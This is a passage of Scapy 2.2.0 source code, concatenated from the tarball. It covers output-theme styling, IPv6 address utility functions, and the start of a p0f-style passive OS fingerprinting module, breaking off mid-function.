style_field_value = r"\textcolor{purple}{%s}" style_emph_field_name = r"\textcolor{blue}{\underline{%s}}" #ul style_emph_field_value = r"\textcolor{purple}{\underline{%s}}" #ul style_packetlist_name = r"\textcolor{red}{\bf %s}" style_packetlist_proto = r"\textcolor{blue}{%s}" style_packetlist_value = r"\textcolor{purple}{%s}" style_fail = r"\textcolor{red}{\bf %s}" style_success = r"\textcolor{blue}{\bf %s}" style_left = r"\textcolor{blue}{%s}" style_right = r"\textcolor{red}{%s}" # style_even = r"}{\bf " # style_odd = "" class LatexTheme2(FormatTheme): style_prompt = r"@`@textcolor@[@blue@]@@[@%s@]@" style_not_printable = r"@`@textcolor@[@gray@]@@[@%s@]@" style_layer_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_field_name = r"@`@textcolor@[@blue@]@@[@%s@]@" style_field_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_emph_field_name = r"@`@textcolor@[@blue@]@@[@@`@underline@[@%s@]@@]@" style_emph_field_value = r"@`@textcolor@[@purple@]@@[@@`@underline@[@%s@]@@]@" style_packetlist_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_packetlist_proto = r"@`@textcolor@[@blue@]@@[@%s@]@" style_packetlist_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_fail = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_success = r"@`@textcolor@[@blue@]@@[@@`@bfserices@[@@]@%s@]@" style_even = r"@`@textcolor@[@gray@]@@[@@`@bfseries@[@@]@%s@]@" # style_odd = r"@`@textcolor@[@black@]@@[@@`@bfseries@[@@]@%s@]@" style_left = r"@`@textcolor@[@blue@]@@[@%s@]@" style_right = r"@`@textcolor@[@red@]@@[@%s@]@" class HTMLTheme(FormatTheme): style_prompt = "%s" style_not_printable = "%s" style_layer_name = "%s" style_field_name = "%s" style_field_value = "%s" style_emph_field_name = "%s" style_emph_field_value = "%s" style_packetlist_name = "%s" style_packetlist_proto = "%s" style_packetlist_value = "%s" style_fail = "%s" style_success = "%s" style_even = "%s" style_odd = "%s" style_left = "%s" style_right = "%s" class HTMLTheme2(HTMLTheme): style_prompt = "#[#span class=prompt#]#%s#[#/span#]#" style_not_printable = "#[#span class=not_printable#]#%s#[#/span#]#" style_layer_name = "#[#span class=layer_name#]#%s#[#/span#]#" style_field_name = "#[#span class=field_name#]#%s#[#/span#]#" style_field_value = "#[#span class=field_value#]#%s#[#/span#]#" style_emph_field_name = "#[#span class=emph_field_name#]#%s#[#/span#]#" style_emph_field_value = "#[#span class=emph_field_value#]#%s#[#/span#]#" style_packetlist_name = "#[#span class=packetlist_name#]#%s#[#/span#]#" style_packetlist_proto = "#[#span class=packetlist_proto#]#%s#[#/span#]#" style_packetlist_value = "#[#span class=packetlist_value#]#%s#[#/span#]#" style_fail = "#[#span class=fail#]#%s#[#/span#]#" style_success = "#[#span class=success#]#%s#[#/span#]#" style_even = "#[#span class=even#]#%s#[#/span#]#" style_odd = "#[#span class=odd#]#%s#[#/span#]#" style_left = "#[#span class=left#]#%s#[#/span#]#" style_right = "#[#span class=right#]#%s#[#/span#]#" class ColorPrompt: __prompt = ">>> " def __str__(self): try: ct = config.conf.color_theme if isinstance(ct, AnsiColorTheme): ## ^A and ^B delimit invisible caracters for readline to count right return "\001%s\002" % ct.prompt("\002"+config.conf.prompt+"\001") else: return ct.prompt(config.conf.prompt) except: return self.__prompt import config scapy-2.2.0/scapy/utils6.py0000644000175000017500000006412211430356100013655 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2005 Guillaume Valadon ## Arnaud Ebalard """ Utility functions for IPv6. """ from config import conf from data import * from utils import * def construct_source_candidate_set(addr, plen, laddr, loname): """ Given all addresses assigned to a specific interface ('laddr' parameter), this function returns the "candidate set" associated with 'addr/plen'. Basically, the function filters all interface addresses to keep only those that have the same scope as provided prefix. This is on this list of addresses that the source selection mechanism will then be performed to select the best source address associated with some specific destination that uses this prefix. """ def cset_sort(x,y): x_global = 0 if in6_isgladdr(x): x_global = 1 y_global = 0 if in6_isgladdr(y): y_global = 1 res = y_global - x_global if res != 0 or y_global != 1: return res # two global addresses: if one is native, it wins. if not in6_isaddr6to4(x): return -1; return -res cset = [] if in6_isgladdr(addr) or in6_isuladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_GLOBAL, laddr) elif in6_islladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_LINKLOCAL, laddr) elif in6_issladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_SITELOCAL, laddr) elif in6_ismaddr(addr): if in6_ismnladdr(addr): cset = [('::1', 16, loname)] elif in6_ismgladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_GLOBAL, laddr) elif in6_ismlladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_LINKLOCAL, laddr) elif in6_ismsladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_SITELOCAL, laddr) elif addr == '::' and plen == 0: cset = filter(lambda x: x[1] == IPV6_ADDR_GLOBAL, laddr) cset = map(lambda x: x[0], cset) cset.sort(cmp=cset_sort) # Sort with global addresses first return cset def get_source_addr_from_candidate_set(dst, candidate_set): """ This function implement a limited version of source address selection algorithm defined in section 5 of RFC 3484. The format is very different from that described in the document because it operates on a set of candidate source address for some specific route. """ def scope_cmp(a, b): """ Given two addresses, returns -1, 0 or 1 based on comparison of their scope """ scope_mapper = {IPV6_ADDR_GLOBAL: 4, IPV6_ADDR_SITELOCAL: 3, IPV6_ADDR_LINKLOCAL: 2, IPV6_ADDR_LOOPBACK: 1} sa = in6_getscope(a) if sa == -1: sa = IPV6_ADDR_LOOPBACK sb = in6_getscope(b) if sb == -1: sb = IPV6_ADDR_LOOPBACK sa = scope_mapper[sa] sb = scope_mapper[sb] if sa == sb: return 0 if sa > sb: return 1 return -1 def rfc3484_cmp(source_a, source_b): """ The function implements a limited version of the rules from Source Address selection algorithm defined section of RFC 3484. """ # Rule 1: Prefer same address if source_a == dst: return 1 if source_b == dst: return 1 # Rule 2: Prefer appropriate scope tmp = scope_cmp(source_a, source_b) if tmp == -1: if scope_cmp(source_a, dst) == -1: return 1 else: return -1 elif tmp == 1: if scope_cmp(source_b, dst) == -1: return 1 else: return -1 # Rule 3: cannot be easily implemented # Rule 4: cannot be easily implemented # Rule 5: does not make sense here # Rule 6: cannot be implemented # Rule 7: cannot be implemented # Rule 8: Longest prefix match tmp1 = in6_get_common_plen(source_a, dst) tmp2 = in6_get_common_plen(source_b, dst) if tmp1 > tmp2: return 1 elif tmp2 > tmp1: return -1 return 0 if not candidate_set: # Should not happen return None candidate_set.sort(cmp=rfc3484_cmp, reverse=True) return candidate_set[0] def find_ifaddr2(addr, plen, laddr): dstAddrType = in6_getAddrType(addr) if dstAddrType == IPV6_ADDR_UNSPECIFIED: # Shouldn't happen as dst addr return None if dstAddrType == IPV6_ADDR_LOOPBACK: return None tmp = [[]] + map(lambda (x,y,z): (in6_getAddrType(x), x, y, z), laddr) def filterSameScope(l, t): if (t[0] & dstAddrType & IPV6_ADDR_SCOPE_MASK) == 0: l.append(t) return l sameScope = reduce(filterSameScope, tmp) l = len(sameScope) if l == 1: # Only one address for our scope return sameScope[0][1] elif l > 1: # Muliple addresses for our scope stfAddr = filter(lambda x: x[0] & IPV6_ADDR_6TO4, sameScope) nativeAddr = filter(lambda x: not (x[0] & IPV6_ADDR_6TO4), sameScope) if not (dstAddrType & IPV6_ADDR_6TO4): # destination is not 6to4 if len(nativeAddr) != 0: return nativeAddr[0][1] return stfAddr[0][1] else: # Destination is 6to4, try to use source 6to4 addr if any if len(stfAddr) != 0: return stfAddr[0][1] return nativeAddr[0][1] else: return None # Think before modify it : for instance, FE::1 does exist and is unicast # there are many others like that. # TODO : integrate Unique Local Addresses def in6_getAddrType(addr): naddr = inet_pton(socket.AF_INET6, addr) paddr = inet_ntop(socket.AF_INET6, naddr) # normalize addrType = 0 # _Assignable_ Global Unicast Address space # is defined in RFC 3513 as those in 2000::/3 if ((struct.unpack("B", naddr[0])[0] & 0xE0) == 0x20): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) if naddr[:2] == ' \x02': # Mark 6to4 @ addrType |= IPV6_ADDR_6TO4 elif naddr[0] == '\xff': # multicast addrScope = paddr[3] if addrScope == '2': addrType = (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) elif addrScope == 'e': addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) else: addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) elif ((naddr[0] == '\xfe') and ((int(paddr[2], 16) & 0xC) == 0x8)): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) elif paddr == "::1": addrType = IPV6_ADDR_LOOPBACK elif paddr == "::": addrType = IPV6_ADDR_UNSPECIFIED else: # Everything else is global unicast (RFC 3513) # Even old deprecated (RFC3879) Site-Local addresses addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) return addrType def in6_mactoifaceid(mac, ulbit=None): """ Compute the interface ID in modified EUI-64 format associated to the Ethernet address provided as input. value taken by U/L bit in the interface identifier is basically the reversed value of that in given MAC address it can be forced to a specific value by using optional 'ulbit' parameter. """ if len(mac) != 17: return None m = "".join(mac.split(':')) if len(m) != 12: return None first = int(m[0:2], 16) if ulbit is None or not (ulbit == 0 or ulbit == 1): ulbit = [1,'-',0][first & 0x02] ulbit *= 2 first = "%.02x" % ((first & 0xFD) | ulbit) eui64 = first + m[2:4] + ":" + m[4:6] + "FF:FE" + m[6:8] + ":" + m[8:12] return eui64.upper() def in6_ifaceidtomac(ifaceid): # TODO: finish commenting function behavior """ Extract the mac address from provided iface ID. Iface ID is provided in printable format ("XXXX:XXFF:FEXX:XXXX", eventually compressed). None is returned on error. """ try: ifaceid = inet_pton(socket.AF_INET6, "::"+ifaceid)[8:16] except: return None if ifaceid[3:5] != '\xff\xfe': return None first = struct.unpack("B", ifaceid[:1])[0] ulbit = 2*[1,'-',0][first & 0x02] first = struct.pack("B", ((first & 0xFD) | ulbit)) oui = first + ifaceid[1:3] end = ifaceid[5:] l = map(lambda x: "%.02x" % struct.unpack("B", x)[0], list(oui+end)) return ":".join(l) def in6_addrtomac(addr): """ Extract the mac address from provided address. None is returned on error. """ mask = inet_pton(socket.AF_INET6, "::ffff:ffff:ffff:ffff") x = in6_and(mask, inet_pton(socket.AF_INET6, addr)) ifaceid = inet_ntop(socket.AF_INET6, x)[2:] return in6_ifaceidtomac(ifaceid) def in6_addrtovendor(addr): """ Extract the MAC address from a modified EUI-64 constructed IPv6 address provided and use the IANA oui.txt file to get the vendor. The database used for the conversion is the one loaded by Scapy, based on Wireshark (/usr/share/wireshark/wireshark/manuf) None is returned on error, "UNKNOWN" if the vendor is unknown. """ mac = in6_addrtomac(addr) if mac is None: return None res = conf.manufdb._get_manuf(mac) if len(res) == 17 and res.count(':') != 5: # Mac address, i.e. unknown res = "UNKNOWN" return res def in6_getLinkScopedMcastAddr(addr, grpid=None, scope=2): """ Generate a Link-Scoped Multicast Address as described in RFC 4489. Returned value is in printable notation. 'addr' parameter specifies the link-local address to use for generating Link-scoped multicast address IID. By default, the function returns a ::/96 prefix (aka last 32 bits of returned address are null). If a group id is provided through 'grpid' parameter, last 32 bits of the address are set to that value (accepted formats : '\x12\x34\x56\x78' or '12345678' or 0x12345678 or 305419896). By default, generated address scope is Link-Local (2). That value can be modified by passing a specific 'scope' value as an argument of the function. RFC 4489 only authorizes scope values <= 2. Enforcement is performed by the function (None will be returned). If no link-local address can be used to generate the Link-Scoped IPv6 Multicast address, or if another error occurs, None is returned. """ if not scope in [0, 1, 2]: return None try: if not in6_islladdr(addr): return None addr = inet_pton(socket.AF_INET6, addr) except: warning("in6_getLinkScopedMcastPrefix(): Invalid address provided") return None iid = addr[8:] if grpid is None: grpid = '\x00\x00\x00\x00' else: if type(grpid) is str: if len(grpid) == 8: try: grpid = int(grpid, 16) & 0xffffffff except: warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") return None elif len(grpid) == 4: try: grpid = struct.unpack("!I", grpid)[0] except: warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") return None grpid = struct.pack("!I", grpid) flgscope = struct.pack("B", 0xff & ((0x3 << 4) | scope)) plen = '\xff' res = '\x00' a = '\xff' + flgscope + res + plen + iid + grpid return inet_ntop(socket.AF_INET6, a) def in6_get6to4Prefix(addr): """ Returns the /48 6to4 prefix associated with provided IPv4 address On error, None is returned. No check is performed on public/private status of the address """ try: addr = inet_pton(socket.AF_INET, addr) addr = inet_ntop(socket.AF_INET6, '\x20\x02'+addr+'\x00'*10) except: return None return addr def in6_6to4ExtractAddr(addr): """ Extract IPv4 address embbeded in 6to4 address. Passed address must be a 6to4 addrees. None is returned on error. """ try: addr = inet_pton(socket.AF_INET6, addr) except: return None if addr[:2] != " \x02": return None return inet_ntop(socket.AF_INET, addr[2:6]) def in6_getLocalUniquePrefix(): """ Returns a pseudo-randomly generated Local Unique prefix. Function follows recommandation of Section 3.2.2 of RFC 4193 for prefix generation. """ # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. # epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) # x = time.time() # from time import gmtime, strftime, gmtime, mktime # delta = mktime(gmtime(0)) - mktime(self.epoch) # x = x-delta tod = time.time() # time of day. Will bother with epoch later i = int(tod) j = int((tod - i)*(2**32)) tod = struct.pack("!II", i,j) # TODO: Add some check regarding system address gathering rawmac = get_if_raw_hwaddr(conf.iface6)[1] mac = ":".join(map(lambda x: "%.02x" % ord(x), list(rawmac))) # construct modified EUI-64 ID eui64 = inet_pton(socket.AF_INET6, '::' + in6_mactoifaceid(mac))[8:] import sha globalid = sha.new(tod+eui64).digest()[:5] return inet_ntop(socket.AF_INET6, '\xfd' + globalid + '\x00'*10) def in6_getRandomizedIfaceId(ifaceid, previous=None): """ Implements the interface ID generation algorithm described in RFC 3041. The function takes the Modified EUI-64 interface identifier generated as described in RFC 4291 and an optional previous history value (the first element of the output of this function). If no previous interface identifier is provided, a random one is generated. The function returns a tuple containing the randomized interface identifier and the history value (for possible future use). Input and output values are provided in a "printable" format as depicted below. ex: >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') ('4c61:76ff:f46a:a5f3', 'd006:d540:db11:b092') >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous='d006:d540:db11:b092') ('fe97:46fe:9871:bd38', 'eeed:d79c:2e3f:62e') """ s = "" if previous is None: d = "".join(map(chr, range(256))) for i in range(8): s += random.choice(d) previous = s s = inet_pton(socket.AF_INET6, "::"+ifaceid)[8:] + previous import md5 s = md5.new(s).digest() s1,s2 = s[:8],s[8:] s1 = chr(ord(s1[0]) | 0x04) + s1[1:] s1 = inet_ntop(socket.AF_INET6, "\xff"*8 + s1)[20:] s2 = inet_ntop(socket.AF_INET6, "\xff"*8 + s2)[20:] return (s1, s2) _rfc1924map = [ '0','1','2','3','4','5','6','7','8','9','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T', 'U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i', 'j','k','l','m','n','o','p','q','r','s','t','u','v','w','x', 'y','z','!','#','$','%','&','(',')','*','+','-',';','<','=', '>','?','@','^','_','`','{','|','}','~' ] def in6_ctop(addr): """ Convert an IPv6 address in Compact Representation Notation (RFC 1924) to printable representation ;-) Returns None on error. """ if len(addr) != 20 or not reduce(lambda x,y: x and y, map(lambda x: x in _rfc1924map, addr)): return None i = 0 for c in addr: j = _rfc1924map.index(c) i = 85*i + j res = [] for j in range(4): res.append(struct.pack("!I", i%2**32)) i = i/(2**32) res.reverse() return inet_ntop(socket.AF_INET6, "".join(res)) def in6_ptoc(addr): """ Converts an IPv6 address in printable representation to RFC 1924 Compact Representation ;-) Returns None on error. """ try: d=struct.unpack("!IIII", inet_pton(socket.AF_INET6, addr)) except: return None res = 0 m = [2**96, 2**64, 2**32, 1] for i in range(4): res += d[i]*m[i] rem = res res = [] while rem: res.append(_rfc1924map[rem%85]) rem = rem/85 res.reverse() return "".join(res) def in6_isaddr6to4(x): """ Return True if provided address (in printable format) is a 6to4 address (being in 2002::/16). """ x = inet_pton(socket.AF_INET6, x) return x[:2] == ' \x02' conf.teredoPrefix = "2001::" # old one was 3ffe:831f (it is a /32) conf.teredoServerPort = 3544 def in6_isaddrTeredo(x): """ Return True if provided address is a Teredo, meaning it is under the /32 conf.teredoPrefix prefix value (by default, 2001::). Otherwise, False is returned. Address must be passed in printable format. """ our = inet_pton(socket.AF_INET6, x)[0:4] teredoPrefix = inet_pton(socket.AF_INET6, conf.teredoPrefix)[0:4] return teredoPrefix == our def teredoAddrExtractInfo(x): """ Extract information from a Teredo address. Return value is a 4-tuple made of IPv4 address of Teredo server, flag value (int), mapped address (non obfuscated) and mapped port (non obfuscated). No specific checks are performed on passed address. """ addr = inet_pton(socket.AF_INET6, x) server = inet_ntop(socket.AF_INET, addr[4:8]) flag = struct.unpack("!H",addr[8:10])[0] mappedport = struct.unpack("!H",strxor(addr[10:12],'\xff'*2))[0] mappedaddr = inet_ntop(socket.AF_INET, strxor(addr[12:16],'\xff'*4)) return server, flag, mappedaddr, mappedport def in6_iseui64(x): """ Return True if provided address has an interface identifier part created in modified EUI-64 format (meaning it matches *::*:*ff:fe*:*). Otherwise, False is returned. Address must be passed in printable format. """ eui64 = inet_pton(socket.AF_INET6, '::ff:fe00:0') x = in6_and(inet_pton(socket.AF_INET6, x), eui64) return x == eui64 def in6_isanycast(x): # RFC 2526 if in6_iseui64(x): s = '::fdff:ffff:ffff:ff80' x = in6_and(x, inet_pton(socket.AF_INET6, '::ffff:ffff:ffff:ff80')) x = in6_and(x, inet_pton(socket.AF_INET6, s)) return x == inet_pton(socket.AF_INET6, s) else: # not EUI-64 #| n bits | 121-n bits | 7 bits | #+---------------------------------+------------------+------------+ #| subnet prefix | 1111111...111111 | anycast ID | #+---------------------------------+------------------+------------+ # | interface identifier field | warning('in6_isanycast(): TODO not EUI-64') return 0 def _in6_bitops(a1, a2, operator=0): a1 = struct.unpack('4I', a1) a2 = struct.unpack('4I', a2) fop = [ lambda x,y: x | y, lambda x,y: x & y, lambda x,y: x ^ y ] ret = map(fop[operator%len(fop)], a1, a2) t = ''.join(map(lambda x: struct.pack('I', x), ret)) return t def in6_or(a1, a2): """ Provides a bit to bit OR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 0) def in6_and(a1, a2): """ Provides a bit to bit AND of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 1) def in6_xor(a1, a2): """ Provides a bit to bit XOR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 2) def in6_cidr2mask(m): """ Return the mask (bitstring) associated with provided length value. For instance if function is called on 48, return value is '\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'. """ if m > 128 or m < 0: raise Scapy_Exception("value provided to in6_cidr2mask outside [0, 128] domain (%d)" % m) t = [] for i in xrange(0, 4): t.append(max(0, 2**32 - 2**(32-min(32, m)))) m -= 32 return ''.join(map(lambda x: struct.pack('!I', x), t)) def in6_getnsma(a): """ Return link-local solicited-node multicast address for given address. Passed address must be provided in network format. Returned value is also in network format. """ r = in6_and(a, inet_pton(socket.AF_INET6, '::ff:ffff')) r = in6_or(inet_pton(socket.AF_INET6, 'ff02::1:ff00:0'), r) return r def in6_getnsmac(a): # return multicast Ethernet address associated with multicast v6 destination """ Return the multicast mac address associated with provided IPv6 address. Passed address must be in network format. """ a = struct.unpack('16B', a)[-4:] mac = '33:33:' mac += ':'.join(map(lambda x: '%.2x' %x, a)) return mac def in6_getha(prefix): """ Return the anycast address associated with all home agents on a given subnet. """ r = in6_and(inet_pton(socket.AF_INET6, prefix), in6_cidr2mask(64)) r = in6_or(r, inet_pton(socket.AF_INET6, '::fdff:ffff:ffff:fffe')) return inet_ntop(socket.AF_INET6, r) def in6_ptop(str): """ Normalizes IPv6 addresses provided in printable format, returning the same address in printable format. (2001:0db8:0:0::1 -> 2001:db8::1) """ return inet_ntop(socket.AF_INET6, inet_pton(socket.AF_INET6, str)) def in6_isincluded(addr, prefix, plen): """ Returns True when 'addr' belongs to prefix/plen. False otherwise. """ temp = inet_pton(socket.AF_INET6, addr) pref = in6_cidr2mask(plen) zero = inet_pton(socket.AF_INET6, prefix) return zero == in6_and(temp, pref) def in6_isdocaddr(str): """ Returns True if provided address in printable format belongs to 2001:db8::/32 address space reserved for documentation (as defined in RFC 3849). """ return in6_isincluded(str, '2001:db8::', 32) def in6_islladdr(str): """ Returns True if provided address in printable format belongs to _allocated_ link-local unicast address space (fe80::/10) """ return in6_isincluded(str, 'fe80::', 10) def in6_issladdr(str): """ Returns True if provided address in printable format belongs to _allocated_ site-local address space (fec0::/10). This prefix has been deprecated, address being now reserved by IANA. Function will remain for historic reasons. """ return in6_isincluded(str, 'fec0::', 10) def in6_isuladdr(str): """ Returns True if provided address in printable format belongs to Unique local address space (fc00::/7). """ return in6_isincluded(str, 'fc00::', 7) # TODO : we should see the status of Unique Local addresses against # global address space. # Up-to-date information is available through RFC 3587. # We should review function behavior based on its content. def in6_isgladdr(str): """ Returns True if provided address in printable format belongs to _allocated_ global address space (2000::/3). Please note that, Unique Local addresses (FC00::/7) are not part of global address space, and won't match. """ return in6_isincluded(str, '2000::', 3) def in6_ismaddr(str): """ Returns True if provided address in printable format belongs to allocated Multicast address space (ff00::/8). """ return in6_isincluded(str, 'ff00::', 8) def in6_ismnladdr(str): """ Returns True if address belongs to node-local multicast address space (ff01::/16) as defined in RFC """ return in6_isincluded(str, 'ff01::', 16) def in6_ismgladdr(str): """ Returns True if address belongs to global multicast address space (ff0e::/16). """ return in6_isincluded(str, 'ff0e::', 16) def in6_ismlladdr(str): """ Returns True if address balongs to link-local multicast address space (ff02::/16) """ return in6_isincluded(str, 'ff02::', 16) def in6_ismsladdr(str): """ Returns True if address belongs to site-local multicast address space (ff05::/16). Site local address space has been deprecated. Function remains for historic reasons. """ return in6_isincluded(str, 'ff05::', 16) def in6_isaddrllallnodes(str): """ Returns True if address is the link-local all-nodes multicast address (ff02::1). """ return (inet_pton(socket.AF_INET6, "ff02::1") == inet_pton(socket.AF_INET6, str)) def in6_isaddrllallservers(str): """ Returns True if address is the link-local all-servers multicast address (ff02::2). """ return (inet_pton(socket.AF_INET6, "ff02::2") == inet_pton(socket.AF_INET6, str)) def in6_getscope(addr): """ Returns the scope of the address. """ if in6_isgladdr(addr) or in6_isuladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_islladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_issladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismaddr(addr): if in6_ismgladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_ismlladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_ismsladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismnladdr(addr): scope = IPV6_ADDR_LOOPBACK else: scope = -1 elif addr == '::1': scope = IPV6_ADDR_LOOPBACK else: scope = -1 return scope def in6_get_common_plen(a, b): """ Return common prefix length of IPv6 addresses a and b. """ def matching_bits(byte1, byte2): for i in range(8): cur_mask = 0x80 >> i if (byte1 & cur_mask) != (byte2 & cur_mask): return i return 8 tmpA = inet_pton(socket.AF_INET6, a) tmpB = inet_pton(socket.AF_INET6, b) for i in range(16): mbits = matching_bits(ord(tmpA[i]), ord(tmpB[i])) if mbits != 8: return 8*i + mbits return 128 scapy-2.2.0/scapy/modules/0000755000175000017500000000000011532602317013527 5ustar pbipbiscapy-2.2.0/scapy/modules/__init__.py0000644000175000017500000000041711430356077015650 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Package of extension modules that have to be loaded explicitly. """ scapy-2.2.0/scapy/modules/p0f.py0000644000175000017500000004366011430356077014605 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Clone of p0f passive OS fingerprinting """ from scapy.data import KnowledgeBase from scapy.config import conf from scapy.layers.inet import IP, TCP, TCPOptions from scapy.packet import NoPayload conf.p0f_base ="/etc/p0f/p0f.fp" conf.p0fa_base ="/etc/p0f/p0fa.fp" conf.p0fr_base ="/etc/p0f/p0fr.fp" conf.p0fo_base ="/etc/p0f/p0fo.fp" ############### ## p0f stuff ## ############### # File format (according to p0f.fp) : # # wwww:ttt:D:ss:OOO...:QQ:OS:Details # # wwww - window size # ttt - initial TTL # D - don't fragment bit (0=unset, 1=set) # ss - overall SYN packet size # OOO - option value and order specification # QQ - quirks list # OS - OS genre # details - OS description class p0fKnowledgeBase(KnowledgeBase): def __init__(self, filename): KnowledgeBase.__init__(self, filename) #self.ttl_range=[255] def lazy_init(self): try: f=open(self.filename) except IOError: warning("Can't open base %s" % self.filename) return try: self.base = [] for l in f: if l[0] in ["#","\n"]: continue l = tuple(l.split(":")) if len(l) < 8: continue def a2i(x): if x.isdigit(): return int(x) return x li = map(a2i, l[1:4]) #if li[0] not in self.ttl_range: # self.ttl_range.append(li[0]) # self.ttl_range.sort() self.base.append((l[0], li[0], li[1], li[2], l[4], l[5], l[6], l[7][:-1])) except: warning("Can't parse p0f database (new p0f version ?)") self.base = None f.close() p0f_kdb = p0fKnowledgeBase(conf.p0f_base) p0fa_kdb = p0fKnowledgeBase(conf.p0fa_base) p0fr_kdb = p0fKnowledgeBase(conf.p0fr_base) p0fo_kdb = p0fKnowledgeBase(conf.p0fo_base) def p0f_selectdb(flags): # tested flags: S, R, A if flags & 0x16 == 0x2: # SYN return p0f_kdb elif flags & 0x16 == 0x12: # SYN/ACK return p0fa_kdb elif flags & 0x16 in [ 0x4, 0x14 ]: # RST RST/ACK return p0fr_kdb elif flags & 0x16 == 0x10: # ACK return p0fo_kdb else: return None def packet2p0f(pkt): pkt = pkt.copy() pkt = pkt.__class__(str(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not a TCP/IP packet") #if pkt.payload.flags & 0x7 != 0x02: #S,!F,!R # raise TypeError("Not a SYN or SYN/ACK packet") db = p0f_selectdb(pkt.payload.flags) #t = p0f_kdb.ttl_range[:] #t += [pkt.ttl] #t.sort() #ttl=t[t.index(pkt.ttl)+1] ttl = pkt.ttl df = (pkt.flags & 2) / 2 ss = len(pkt) # from p0f/config.h : PACKET_BIG = 100 if ss > 100: if db == p0fr_kdb: # p0fr.fp: "Packet size may be wildcarded. The meaning of # wildcard is, however, hardcoded as 'size > # PACKET_BIG'" ss = '*' else: ss = 0 if db == p0fo_kdb: # p0fo.fp: "Packet size MUST be wildcarded." ss = '*' ooo = "" mss = -1 qqT = False qqP = False #qqBroken = False ilen = (pkt.payload.dataofs << 2) - 20 # from p0f.c for option in pkt.payload.options: ilen -= 1 if option[0] == "MSS": ooo += "M" + str(option[1]) + "," mss = option[1] # FIXME: qqBroken ilen -= 3 elif option[0] == "WScale": ooo += "W" + str(option[1]) + "," # FIXME: qqBroken ilen -= 2 elif option[0] == "Timestamp": if option[1][0] == 0: ooo += "T0," else: ooo += "T," if option[1][1] != 0: qqT = True ilen -= 9 elif option[0] == "SAckOK": ooo += "S," ilen -= 1 elif option[0] == "NOP": ooo += "N," elif option[0] == "EOL": ooo += "E," if ilen > 0: qqP = True else: if type(option[0]) is str: ooo += "?%i," % TCPOptions[1][option[0]] else: ooo += "?%i," % option[0] # FIXME: ilen ooo = ooo[:-1] if ooo == "": ooo = "." win = pkt.payload.window if mss != -1: if mss != 0 and win % mss == 0: win = "S" + str(win/mss) elif win % (mss + 40) == 0: win = "T" + str(win/(mss+40)) win = str(win) qq = "" if db == p0fr_kdb: if pkt.payload.flags & 0x10 == 0x10: # p0fr.fp: "A new quirk, 'K', is introduced to denote # RST+ACK packets" qq += "K" # The two next cases should also be only for p0f*r*, but although # it's not documented (or I have not noticed), p0f seems to # support the '0' and 'Q' quirks on any databases (or at the least # "classical" p0f.fp). if pkt.payload.seq == pkt.payload.ack: # p0fr.fp: "A new quirk, 'Q', is used to denote SEQ number # equal to ACK number." qq += "Q" if pkt.payload.seq == 0: # p0fr.fp: "A new quirk, '0', is used to denote packets # with SEQ number set to 0." qq += "0" if qqP: qq += "P" if pkt.id == 0: qq += "Z" if pkt.options != []: qq += "I" if pkt.payload.urgptr != 0: qq += "U" if pkt.payload.reserved != 0: qq += "X" if pkt.payload.ack != 0: qq += "A" if qqT: qq += "T" if db == p0fo_kdb: if pkt.payload.flags & 0x20 != 0: # U # p0fo.fp: "PUSH flag is excluded from 'F' quirk checks" qq += "F" else: if pkt.payload.flags & 0x28 != 0: # U or P qq += "F" if db != p0fo_kdb and not isinstance(pkt.payload.payload, NoPayload): # p0fo.fp: "'D' quirk is not checked for." qq += "D" # FIXME : "!" - broken options segment: not handled yet if qq == "": qq = "." return (db, (win, ttl, df, ss, ooo, qq)) def p0f_correl(x,y): d = 0 # wwww can be "*" or "%nn". "Tnn" and 